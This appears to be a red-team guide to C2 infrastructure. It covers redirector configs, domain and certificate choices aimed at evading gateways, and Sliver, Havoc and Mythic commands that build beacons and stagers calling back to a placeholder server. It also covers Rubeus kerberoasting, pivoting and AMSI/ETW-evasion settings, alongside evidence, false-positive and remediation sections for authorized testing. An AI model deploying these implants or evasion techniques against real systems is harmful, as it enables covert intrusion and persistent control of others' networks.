C2 Infrastructure & Frameworks
Command and control infrastructure is the backbone of red team operations. Proper setup ensures reliable communications while evading detection.
Authorization boundary — infrastructure
C2 Infrastructure Architecture
Infrastructure Components
A C2 deployment solves three separate problems, and each tier in the diagram above solves one of them: keep the operator's real address off the target's network, give the implant a destination that egress filtering will actually allow, and make the traffic resemble something the organisation already browses. The tiering is not decoration. If a defender blocks the redirector you lose one disposable host and rotate it; if they had instead seen the team server's address, the engagement is burned and every implant has to be rebuilt.
Domain Setup
The domain is what a secure web gateway categorises, so a domain's reputation decides whether your beacon is allowed out at all. Freshly registered domains are suspicious by default — most proxy policies block the uncategorised category outright — which is why operators buy aged domains with an existing history and an existing category rather than registering a name the day before the engagement. Match the category to the content: a domain categorised as "Healthcare" that starts serving executables, or that has no HTTP content at all, is more anomalous than an uncategorised one.
Check the category before you use the domain, not after: Blue Coat's Site Review
(sitereview.bluecoat.com), VirusTotal and urlscan.io all show how the major
vendors currently classify a host. Domain fronting — hiding the true destination in the TLS
SNI while connecting to a big CDN — is largely unavailable now: Azure Front Door, Cloudflare
and Fastly all prohibit it in policy and will terminate the domain, so treat it as a technique
of last resort in an environment you can prove still permits it.
What the defender sees: every
publicly trusted certificate is published to Certificate Transparency logs, so issuing a
certificate for login-contoso-portal.com announces the domain to anyone watching
crt.sh or a CT-monitoring feed — often before the phishing mail is sent. Passive
DNS then links the domain to your redirector's IP. This is the main argument for reusing an
aged domain whose certificate history already exists rather than minting a new one.
Redirectors
A redirector is a cheap VPS that forwards only traffic that looks like your implant and sends everything else to a real website. That second half is the point: an analyst or a scanner who browses to the domain should see an ordinary site and a 302, not a login page that exists only for them. When the redirector is eventually blocked, you replace one host and the implant config — the team server never moves.
Two failure modes are worth knowing before you debug one in the field. First, mod_rewrite
rules are evaluated top-down, so the allow rule must come before the fallback — swap them and
every check-in gets the 302. Second, a proxy rule on a server without mod_proxy_http
returns 500 rather than forwarding, and a 500 from a domain that otherwise serves a normal site
is itself an anomaly a SOC can alert on.
# /etc/apache2/sites-enabled/redirector.conf
# Requires: a2enmod rewrite proxy proxy_http ssl
RewriteEngine On
SSLProxyEngine On
# Forward only implant-shaped traffic to the team server ...
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0.*" [NC]
RewriteCond %{REQUEST_URI} ^/api/update.*
RewriteRule ^.*$ https://c2server.internal%{REQUEST_URI} [P]
# ... and send everything else to a real site so the domain looks ordinary
RewriteRule ^.*$ https://legitimate-site.com [L,R=302]# nginx equivalent — /etc/nginx/sites-enabled/redirector
server {
listen 443 ssl;
server_name yourdomain.com;
location /api/update {
proxy_pass https://c2server.internal;
proxy_ssl_server_name on;
}
location / {
return 302 https://legitimate-site.com;
}
}Add a second filter you can rotate — the URI prefix alone is guessable if the profile leaks, so pair it with a header or a user agent the target network actually sends. Run redirectors in a different cloud account and region from the team server so that a single abuse report does not take out both.
SSL Certificates
The certificate matters twice over: invalid TLS is one of the cheapest detections there is (any proxy can flag a self-signed or expired certificate on an egress connection), and a publicly trusted certificate is a public record of the domain. Let's Encrypt is the usual answer for the redirector — free, trusted by every client, and the ACME client is scriptable — but it also logs the domain to CT and enforces rate limits per registered domain, so budget the issuance rather than reissuing per build.
Self-signed certificates still have a place on the hop between redirector and team server, where the only client is your own redirector. Never let that certificate face the target: a self-signed certificate on the listener is both a proxy block and an IOC your report will have to explain.
# Let's Encrypt (free, but published to Certificate Transparency)
certbot certonly --standalone -d yourdomain.com
# Or use cloud provider certificates
# AWS ACM, Azure App Service certificates
# Self-signed for the redirector -> team server hop only
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesC2 Frameworks
Framework choice is mostly about licensing, team size and how much of the evasion you want to own yourself. All four below ship default profiles that mature EDR products have seen many times, so the framework is the starting point, not the evasion.
Cobalt Strike
Industry standard commercial C2. Malleable C2 profiles, beacon payloads.
Commercial License RequiredSliver
Open-source C2 by BishopFox. Multi-platform, multiplayer, evasive.
Free / Open SourceHavoc
Modern C2 with demon agents. Sleep obfuscation, syscall evasion.
Free / Open SourceMythic
Modular framework with multiple agents. Docker-based deployment.
Free / Open SourceSliver C2
Sliver is the usual first choice for an internal engagement because it installs from one script, supports Windows, Linux and macOS implants from one team server, and gives every operator a separate multiplayer config. The distinction that matters operationally is beacon versus session: a beacon checks in on a schedule and buffers tasks (low noise, high latency), a session is an interactive channel that holds a connection open (fast, but a long-lived outbound connection is exactly what network monitoring looks for).
Server Setup
Treat the operator config as a credential: whoever holds it can drive every implant on the team server, and it is not revocable per-host. Issue one per operator, hand it over out of band, and keep the server console itself on the team server host only.
# Download and run Sliver server
curl https://sliver.sh/install | sudo bash
sliver-server
# Generate multiplayer config for operators
sliver > new-operator --name operator1 --lhost yourserver.com
# Import config on operator machine
sliver-client import operator1_config.cfgPayload Generation
Generate the smallest thing that answers the question the engagement asks. Shellcode output is for a loader you control (see Payload Development); a staged payload splits the beacon into a tiny first stage and a second download, which gets past attachment size limits but adds a second network event for the SOC to correlate. Each build changes the implant's hash, so never reuse one across targets.
Before you generate a payload for a target
# Generate beacon (async, periodic check-in)
sliver > generate beacon --mtls yourserver.com:443 --os windows --arch amd64 --format exe --save beacon.exe
# Generate session (real-time, interactive)
sliver > generate --mtls yourserver.com:443 --os windows --arch amd64 --format exe --save session.exe
# Shellcode for custom loaders
sliver > generate beacon --mtls yourserver.com:443 --format shellcode --save beacon.bin
# Staged payload (smaller initial size)
sliver > generate stager --lhost yourserver.com --lport 443 --protocol tcp --save stager.exeListeners
Pick the listener from what the target network permits, not from what is easiest. mTLS is the most reliable inside a network that inspects TLS — the client certificate authenticates the implant and the traffic has no HTTP shape for a proxy to parse — but mutual TLS to an unknown host is also a distinctive JA3/JA4 fingerprint. HTTPS with a real certificate on a categorised domain is the quietest option across a secure web gateway. DNS is the fallback when nothing else egresses, and it is slow by design.
# MTLS listener (encrypted)
sliver > mtls --lhost 0.0.0.0 --lport 443
# HTTPS listener
sliver > https --lhost 0.0.0.0 --lport 443 --domain yourdomain.com
# DNS listener (low and slow)
sliver > dns --domains yourdomain.com --lport 53
# WireGuard listener
sliver > wg --lport 53Beacon Operations
Prefer the command that runs inside the implant over the one that spawns a process.
execute-assembly loads a .NET tool into a sacrificial process, so the artifact your
report describes is a new process with an unusual parent;
powershell starts powershell.exe, which every EDR alerts on by default.
Port forwarding and SOCKS exist so you can pivot without deploying a second implant, but both
create a listening socket on the compromised host that a defender can find with a port scan of
their own estate.
# List sessions/beacons
sliver > sessions
sliver > beacons
# Interact with beacon
sliver > use [beacon-id]
# Get interactive shell
sliver (BEACON) > shell
# Execute .NET assembly in memory
sliver (BEACON) > execute-assembly /path/to/Rubeus.exe kerberoast
# PowerShell execution
sliver (BEACON) > powershell -c "Get-Process"
# Port forwarding
sliver (BEACON) > portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80
# SOCKS proxy
sliver (BEACON) > socks5 start
# Pivot to other hosts
sliver (BEACON) > pivots tcp --bind 0.0.0.0:8888Havoc C2
Havoc's Demon agent is the reason to pick it: the evasion is configuration rather than custom
code. Sleep obfuscation encrypts the agent's memory while it sleeps, indirect syscalls keep the
syscall instruction inside ntdll so the call stack looks legitimate,
and return-address spoofing during sleep defeats naive stack walking. AMSI and ETW are patched
with hardware breakpoints rather than by overwriting function prologues, which survives some
integrity checks. All of that is per-build, so a bad profile quietly gives you none of it.
# Start Havoc server
./havoc server --profile ./profiles/havoc.yaotl
# Connect with client
./havoc client
# Generate demon payload
# Payloads > Generate > Windows Shellcode/Exe
# Demon features (configured in the profile or the payload window):
# - Sleep obfuscation SleepMask / SleepMaskTechnique (1 = Foliage, 2 = Ekko)
# - Indirect syscalls resolved at runtime, no static SSNs
# - Stack spoofing return addresses rewritten while the agent sleeps
# - AMSI/ETW patching hardware breakpoints, no prologue overwrite
What the defender sees: the
default Havoc profile is signatured. Memory scanners catch an agent whose sleep mask is set to
0 (no obfuscation at all), and process-tree anomalies catch the default fork-and-run
target. Change the spawn target to something that exists in the target's baseline, and verify the
sleep mask technique actually took effect before you deploy.
Mythic C2
Mythic is a server with a plugin ecosystem rather than a single agent: the team server is Docker-based, and each agent (C#, Go, JavaScript, Python) is installed as its own container. That is what you want when the engagement needs one framework across very different target platforms, or when a client wants the tooling auditable. The cost is operational surface — the web UI on port 7443 is the most exposed part of your infrastructure, so front it with the redirector and never leave the default credentials in place.
# Install Mythic
git clone https://github.com/its-a-feature/Mythic
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/apollo.git
# Start Mythic
./mythic-cli start
# Access web UI: https://localhost:7443
# Default creds: mythic_admin / random_password (change on first login)
# Common agents:
# - Apollo C#
# - Poseidon Go (Linux/macOS)
# - Merlin Go
# - Apfell JavaScript (macOS)C2 Profiles
Tip
A profile is where you answer "what does this connection look like on the wire, and does that
match anything in this network's baseline?" Four things do most of the work: the URI paths (a
/api/v2/updates looks like software update traffic; /beacon does not),
the headers and user agent (must match the browser or client you claim to be, including the
order of headers), the request body transforms (base64 or prepend/append junk so a proxy
payload scan finds nothing), and the timing (sleep plus jitter — a fixed 60-second callback is
itself a beacon signature).
| Profile section | What it controls | What goes wrong if it is left default |
|---|---|---|
| http-get | Implant check-in: URI, headers, server response | Default URIs are in every public signature set |
| http-post | Task output and exfil back to the team server | Unencoded POST bodies match proxy content rules |
| http-stager | Staged payload delivery | A stage download immediately after check-in is an easy correlation |
| stage | Beacon settings embedded in the payload | Long sleep with no jitter is a timing signature |
# Example settings — a 60-second sleep with 20% jitter, wearing a browser UA
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...";Validate the profile before you deploy: load it into the team server, capture one check-in with a packet capture or a proxy, and compare it to the traffic you claim to imitate. A profile that parses but produces a header order no real client sends has bought you nothing.
Evidence Collection
A C2 finding is only defensible if the client can find the same three events in their own telemetry: the check-in on your side, the process on the host, and the egress connection in the middle.
Beacon check-in: The team-server log line for the first callback, with the timestamp, the source address it saw, and the implant ID — paired with the matching redirector access-log entry for the same second, which is what proves the traffic used the intended path rather than a direct connection.
Process record: Process name, full path, parent, user and command line from the host at first execution (Sysmon event 1 or the EDR process record). The parent is the interesting field: it is what the client will hunt on.
Build identity: SHA-256 of the implant exactly as deployed, the C2 profile it was built with, and the build timestamp. Without the hash the report cannot be reproduced and the sample cannot be re-tested after remediation.
Egress capture: The proxy log entry or the TLS session for the first check-in, and an explicit statement of whether it terminated at the redirector or reached the team server. That difference decides whether the finding is "the gateway let it out" or "the redirector was reachable".
False Positive Identification
Every signal below is generated by ordinary software as well as by an implant, so a single hit is not evidence. What separates them is cadence, destination rarity and whether the same event exists on the host.
- Long-lived HTTPS session: Duration is not a beacon. Many business applications hold keep-alive connections for hours; the distinguishing feature is the cadence — a fixed or jittered interval to the same destination — not the lifetime of the connection.
- Newly registered domain: A category hit on a fresh domain can be the client's own marketing site, a supplier's new portal or a CDN front end. Check the certificate issue date and the CT history before calling it infrastructure you built.
- JA3/JA4 mismatch: The same fingerprint appears whenever a client library is upgraded or a proxy terminates TLS differently. It identifies a client stack, not an operator.
- Traffic to the redirector domain: The redirector deliberately 302s ordinary browsers to a real site, so proxy logs full of 302s from that domain are what the domain does all day. Correlate with the team-server log before attributing them to the engagement.
Testing Checklist
C2 is proved end to end: the redirector in the middle, the check-in on your side, and the process on the host. Any one alone is not an implant.
Prove the infrastructure
- ☐ A browser hitting the redirector gets the decoy content or a 302, while a beacon with the profile's user-agent reaches the team server.
- ☐ The team server is not reachable directly from the target network - only through the redirector.
- ☐ The front-end certificate validates for the domain, and
openssl s_clientshows the chain you expect. - ☐ The generated implant has its SHA-256 recorded before deployment, from the exact build that is deployed.
Prove the beacon and the egress
- ☐ The first check-in appears in the team-server log and the redirector access log at the same second.
- ☐ The process record on the host shows the parent you expected - that parent is what the client will hunt on.
- ☐ The connection is confirmed in the client's proxy or gateway log, with the entry obtained rather than assumed.
- ☐ The listener, profile and implant are removed at the end, and the host is returned to its pre-engagement state.
Remediation
What the client can actually do about this
Make egress expensive to use
- • Default-deny outbound from workstations and servers, with an explicit allow-list. Every listener choice on this page assumes a destination the gateway permits.
- • Block newly registered and uncategorised domains at the gateway, and re-categorise on a schedule — an aged domain stops working the moment its category is stale.
- • Remove direct internet egress from servers entirely where the architecture allows it: a server that can only reach the proxy cannot host a redirector hop.
Make the implant visible
- • TLS inspection on egress so mTLS and fingerprint anomalies are observable, plus SNI logging on every connection.
- • High-confidence analytics on periodic connections to a rare destination, and on a host that talks to a domain no other host in the estate talks to.
- • Certificate Transparency monitoring for lookalike domains of the client's own brand — that also detects when this technique is used against them by someone else.